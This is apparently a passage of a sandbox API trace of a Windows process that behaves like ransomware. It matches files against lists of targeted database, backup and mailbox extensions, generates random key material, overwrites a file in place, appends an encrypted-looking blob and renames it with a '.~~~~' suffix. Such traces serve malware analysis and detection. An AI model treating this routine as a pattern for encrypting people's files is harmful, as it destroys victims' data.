	[0069.254] lstrlenW (lpString=".DACPAC") returned 7
	[0069.254] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml", lpSrch=".DACPAC") returned 0x0
	[0069.254] lstrlenW (lpString=".VHD") returned 4
	[0069.254] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml", lpSrch=".VHD") returned 0x0
	[0069.254] lstrlenW (lpString=".DBV") returned 4
	[0069.254] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml", lpSrch=".DBV") returned 0x0
	[0069.254] lstrlenW (lpString=".dacpac") returned 7
	[0069.254] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml", lpSrch=".dacpac") returned 0x0
	[0069.254] lstrlenW (lpString=".sdf") returned 4
	[0069.254] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml", lpSrch=".sdf") returned 0x0
	[0069.254] lstrlenW (lpString=".accdb") returned 6
	[0069.254] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml", lpSrch=".accdb") returned 0x0
	[0069.254] lstrlenW (lpString=".DBX") returned 4
	[0069.254] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml", lpSrch=".DBX") returned 0x0
	[0069.254] lstrlenW (lpString=".MDT") returned 4
	[0069.254] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml", lpSrch=".MDT") returned 0x0
	[0069.254] lstrlenW (lpString=".SQB") returned 4
	[0069.254] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml", lpSrch=".SQB") returned 0x0
	[0069.254] lstrlenW (lpString=".vhd") returned 4
	[0069.254] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml", lpSrch=".vhd") returned 0x0
	[0069.254] lstrlenW (lpString=".bac") returned 4
	[0069.255] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml", lpSrch=".bac") returned 0x0
	[0069.255] lstrlenW (lpString=".mdf") returned 4
	[0069.255] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml", lpSrch=".mdf") returned 0x0
	[0069.255] lstrlenW (lpString=".BAK") returned 4
	[0069.255] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml", lpSrch=".BAK") returned 0x0
	[0069.255] lstrlenW (lpString=".BAC") returned 4
	[0069.255] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml", lpSrch=".BAC") returned 0x0
	[0069.255] lstrlenW (lpString=".dbs") returned 4
	[0069.255] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml", lpSrch=".dbs") returned 0x0
	[0069.255] lstrlenW (lpString=".vhdx") returned 5
	[0069.255] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml", lpSrch=".vhdx") returned 0x0
	[0069.255] lstrlenW (lpString=".NDF") returned 4
	[0069.255] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml", lpSrch=".NDF") returned 0x0
	[0069.255] lstrlenW (lpString=".dat") returned 4
	[0069.255] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml", lpSrch=".dat") returned 0x0
	[0069.255] lstrlenW (lpString=".DBS") returned 4
	[0069.255] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml", lpSrch=".DBS") returned 0x0
	[0069.255] lstrlenW (lpString=".CKP") returned 4
	[0069.256] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml", lpSrch=".CKP") returned 0x0
	[0069.256] lstrlenW (lpString=".edb") returned 4
	[0069.256] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml", lpSrch=".edb") returned 0x0
	[0069.256] lstrlenW (lpString=".PST") returned 4
	[0069.256] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml", lpSrch=".PST") returned 0x0
	[0069.256] lstrlenW (lpString=".dbf") returned 4
	[0069.256] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml", lpSrch=".dbf") returned 0x0
	[0069.256] lstrlenW (lpString=".SQL") returned 4
	[0069.256] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml", lpSrch=".SQL") returned 0x0
	[0069.256] lstrlenW (lpString=".pst") returned 4
	[0069.256] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml", lpSrch=".pst") returned 0x0
	[0069.256] lstrlenW (lpString=".dbv") returned 4
	[0069.256] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml", lpSrch=".dbv") returned 0x0
	[0069.256] lstrlenW (lpString=".SDF") returned 4
	[0069.256] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml", lpSrch=".SDF") returned 0x0
	[0069.256] lstrlenW (lpString=".dtxs") returned 5
	[0069.256] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml", lpSrch=".dtxs") returned 0x0
	[0069.256] lstrlenW (lpString=".db3") returned 4
	[0069.256] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml", lpSrch=".db3") returned 0x0
	[0069.256] lstrlenW (lpString=".OST") returned 4
	[0069.257] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml", lpSrch=".OST") returned 0x0
	[0069.257] lstrlenW (lpString=".dbx") returned 4
	[0069.409] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml", lpSrch=".dbx") returned 0x0
	[0069.409] lstrlenW (lpString=".DB3") returned 4
	[0069.409] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml", lpSrch=".DB3") returned 0x0
	[0069.409] lstrlenW (lpString=".DAT") returned 4
	[0069.409] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml", lpSrch=".DAT") returned 0x0
	[0069.410] lstrlenW (lpString=".VHDX") returned 5
	[0069.410] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml", lpSrch=".VHDX") returned 0x0
	[0069.410] lstrlenW (lpString=".ndf") returned 4
	[0069.410] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml", lpSrch=".ndf") returned 0x0
	[0069.411] lstrlenW (lpString=".DB") returned 3
	[0069.411] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml", lpSrch=".DB") returned 0x0
	[0069.411] lstrlenW (lpString=".sql") returned 4
	[0073.034] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml", lpSrch=".sql") returned 0x0
	[0073.034] lstrlenW (lpString=".MYD") returned 4
	[0073.034] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml", lpSrch=".MYD") returned 0x0
	[0073.034] lstrlenW (lpString=".DBT") returned 4
	[0073.034] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml", lpSrch=".DBT") returned 0x0
	[0073.034] lstrlenW (lpString=".ACCDB") returned 6
	[0073.034] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml", lpSrch=".ACCDB") returned 0x0
	[0073.034] lstrlenW (lpString=".fdb") returned 4
	[0073.034] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml", lpSrch=".fdb") returned 0x0
	[0073.034] lstrlenW (lpString=".bak") returned 4
	[0073.034] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml", lpSrch=".bak") returned 0x0
	[0073.034] lstrlenW (lpString=".myd") returned 4
	[0073.034] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml", lpSrch=".myd") returned 0x0
	[0073.034] lstrlenW (lpString=".DTXS") returned 5
	[0073.034] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml", lpSrch=".DTXS") returned 0x0
	[0073.034] lstrlenW (lpString=".ckp") returned 4
	[0073.034] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml", lpSrch=".ckp") returned 0x0
	[0073.034] lstrlenW (lpString=".dbt") returned 4
	[0073.034] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml", lpSrch=".dbt") returned 0x0
	[0073.034] lstrlenW (lpString=".db") returned 3
	[0073.034] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml", lpSrch=".db") returned 0x0
	[0073.034] lstrlenW (lpString=".TXT") returned 4
	[0073.034] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml", lpSrch=".TXT") returned 0x0
	[0073.034] lstrlenW (lpString=".MDF") returned 4
	[0073.034] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml", lpSrch=".MDF") returned 0x0
	[0073.034] lstrlenW (lpString=".bdb") returned 4
	[0073.035] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml", lpSrch=".bdb") returned 0x0
	[0073.035] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0073.035] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0073.035] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x3fa6b8
	[0073.035] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0073.035] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0073.036] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0073.036] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0073.036] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0073.036] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0073.036] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3b24c8
	[0073.036] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=19302637709) returned 1
	[0073.036] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x96583050, dwHighDateTime=0x1d60e1e)) 
	[0073.036] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0073.036] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0073.036] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0073.037] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280bcf0
	[0073.037] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0073.037] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bcf0 | out: hHeap=0x300000) returned 1
	[0073.037] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x3a2fa8
	[0073.037] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0073.037] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e7060
	[0073.037] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2fa8 | out: hHeap=0x300000) returned 1
	[0073.037] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0073.037] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7060 | out: hHeap=0x300000) returned 1
	[0073.037] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0073.037] GetLastError () returned 0x0
	[0073.037] SetLastError (dwErrCode=0x0) 
	[0073.037] GetLastError () returned 0x0
	[0073.037] SetLastError (dwErrCode=0x0) 
	[0073.037] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0073.037] GetLastError () returned 0x0
	[0073.038] SetLastError (dwErrCode=0x0) 
	[0073.038] GetLastError () returned 0x0
	[0073.038] SetLastError (dwErrCode=0x0) 
	[0073.038] GetLastError () returned 0x0
	[0073.038] SetLastError (dwErrCode=0x0) 
	[0073.038] GetLastError () returned 0x0
	[0073.038] SetLastError (dwErrCode=0x0) 
	[0073.038] GetLastError () returned 0x0
	[0073.038] SetLastError (dwErrCode=0x0) 
	[0073.038] GetLastError () returned 0x0
	[0073.038] SetLastError (dwErrCode=0x0) 
	[0073.038] GetLastError () returned 0x0
	[0073.038] SetLastError (dwErrCode=0x0) 
	[0073.038] GetLastError () returned 0x0
	[0073.038] SetLastError (dwErrCode=0x0) 
	[0073.038] GetLastError () returned 0x0
	[0073.038] SetLastError (dwErrCode=0x0) 
	[0073.038] GetLastError () returned 0x0
	[0073.038] SetLastError (dwErrCode=0x0) 
	[0073.038] GetLastError () returned 0x0
	[0073.038] SetLastError (dwErrCode=0x0) 
	[0073.038] GetLastError () returned 0x0
	[0073.038] SetLastError (dwErrCode=0x0) 
	[0073.038] GetLastError () returned 0x0
	[0073.038] SetLastError (dwErrCode=0x0) 
	[0073.038] GetLastError () returned 0x0
	[0073.039] SetLastError (dwErrCode=0x0) 
	[0073.039] GetLastError () returned 0x0
	[0073.039] SetLastError (dwErrCode=0x0) 
	[0073.039] GetLastError () returned 0x0
	[0073.039] SetLastError (dwErrCode=0x0) 
	[0073.039] GetLastError () returned 0x0
	[0073.039] SetLastError (dwErrCode=0x0) 
	[0073.039] GetLastError () returned 0x0
	[0073.039] SetLastError (dwErrCode=0x0) 
	[0073.039] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8008 | out: hHeap=0x300000) returned 1
	[0073.039] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x19000) returned 0x3c76e8
	[0073.039] ReadFile (in: hFile=0x11c, lpBuffer=0x3c76e8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x3c76e8*, lpNumberOfBytesRead=0x1f8fec0*=0x567, lpOverlapped=0x0) returned 1
	[0073.046] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffffa99, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0073.046] WriteFile (in: hFile=0x11c, lpBuffer=0x3c76e8*, nNumberOfBytesToWrite=0x567, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x3c76e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x567, lpOverlapped=0x0) returned 1
	[0073.046] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c76e8 | out: hHeap=0x300000) returned 1
	[0073.046] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0073.046] WriteFile (in: hFile=0x11c, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0073.046] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0073.046] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0073.046] CloseHandle (hObject=0x11c) returned 1
	[0073.048] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6528
	[0073.048] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.~~~~" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml.~~~~")) returned 1
	[0073.049] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f6528 | out: hHeap=0x300000) returned 1
	[0073.049] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0073.049] GetLastError () returned 0x0
	[0073.049] SetLastError (dwErrCode=0x0) 
	[0073.049] GetLastError () returned 0x0
	[0073.049] SetLastError (dwErrCode=0x0) 
	[0073.049] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3623a0 | out: hHeap=0x300000) returned 1
	[0073.049] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3623c0 | out: hHeap=0x300000) returned 1
	[0073.049] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x368ba0 | out: hHeap=0x300000) returned 1
	[0073.049] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b24c8 | out: hHeap=0x300000) returned 1
	[0073.049] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3fa6b8 | out: hHeap=0x300000) returned 1
	[0073.049] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a53b0 | out: hHeap=0x300000) returned 1
	[0073.049] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4048 | out: hHeap=0x300000) returned 1
	[0073.049] RtlWakeConditionVariable () returned 0x365f70
	[0073.050] GetCurrentThreadId () returned 0xaf0
	[0073.050] GetCurrentThreadId () returned 0xaf0
	[0073.050] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7060
	[0073.050] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e71b0 | out: hHeap=0x300000) returned 1
	[0073.050] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e0d8 | out: hHeap=0x300000) returned 1
	[0073.050] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e71b0
	[0073.050] lstrlenW (lpString=".scr") returned 4
	[0073.050] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".scr") returned 0x0
	[0073.050] lstrlenW (lpString=".cmd") returned 4
	[0073.050] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".cmd") returned 0x0
	[0073.050] lstrlenW (lpString=".dll") returned 4
	[0073.050] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dll") returned 0x0
	[0073.050] lstrlenW (lpString=".bat") returned 4
	[0073.050] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".bat") returned 0x0
	[0073.050] lstrlenW (lpString=".cpl") returned 4
	[0073.050] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".cpl") returned 0x0
	[0073.050] lstrlenW (lpString=".sys") returned 4
	[0073.050] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".sys") returned 0x0
	[0073.050] lstrlenW (lpString=".msc") returned 4
	[0073.050] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".msc") returned 0x0
	[0073.050] lstrlenW (lpString=".com") returned 4
	[0073.050] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".com") returned 0x0
	[0073.050] lstrlenW (lpString=".lnk") returned 4
	[0073.050] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".lnk") returned 0x0
	[0073.050] lstrlenW (lpString=".msp") returned 4
	[0073.050] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".msp") returned 0x0
	[0073.051] lstrlenW (lpString=".pif") returned 4
	[0073.051] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".pif") returned 0x0
	[0073.051] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0073.051] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0073.051] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
	[0073.051] lstrlenW (lpString=".sqb") returned 4
	[0073.051] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".sqb") returned 0x0
	[0073.051] lstrlenW (lpString=".ost") returned 4
	[0073.051] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".ost") returned 0x0
	[0073.051] lstrlenW (lpString=".txt") returned 4
	[0073.051] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".txt") returned 0x0
	[0073.051] lstrlenW (lpString=".mdt") returned 4
	[0073.051] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".mdt") returned 0x0
	[0073.051] lstrlenW (lpString=".BDB") returned 4
	[0073.051] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".BDB") returned 0x0
	[0073.051] lstrlenW (lpString=".eql") returned 4
	[0073.051] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".eql") returned 0x0
	[0073.051] lstrlenW (lpString=".DBF") returned 4
	[0073.051] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DBF") returned 0x0
	[0073.051] lstrlenW (lpString=".EQL") returned 4
	[0073.052] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".EQL") returned 0x0
	[0073.052] lstrlenW (lpString=".FDB") returned 4
	[0073.052] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".FDB") returned 0x0
	[0073.052] lstrlenW (lpString=".EDB") returned 4
	[0073.052] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".EDB") returned 0x0
	[0073.052] lstrlenW (lpString=".DACPAC") returned 7
	[0073.052] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DACPAC") returned 0x0
	[0073.052] lstrlenW (lpString=".VHD") returned 4
	[0073.052] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".VHD") returned 0x0
	[0073.052] lstrlenW (lpString=".DBV") returned 4
	[0073.052] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DBV") returned 0x0
	[0073.052] lstrlenW (lpString=".dacpac") returned 7
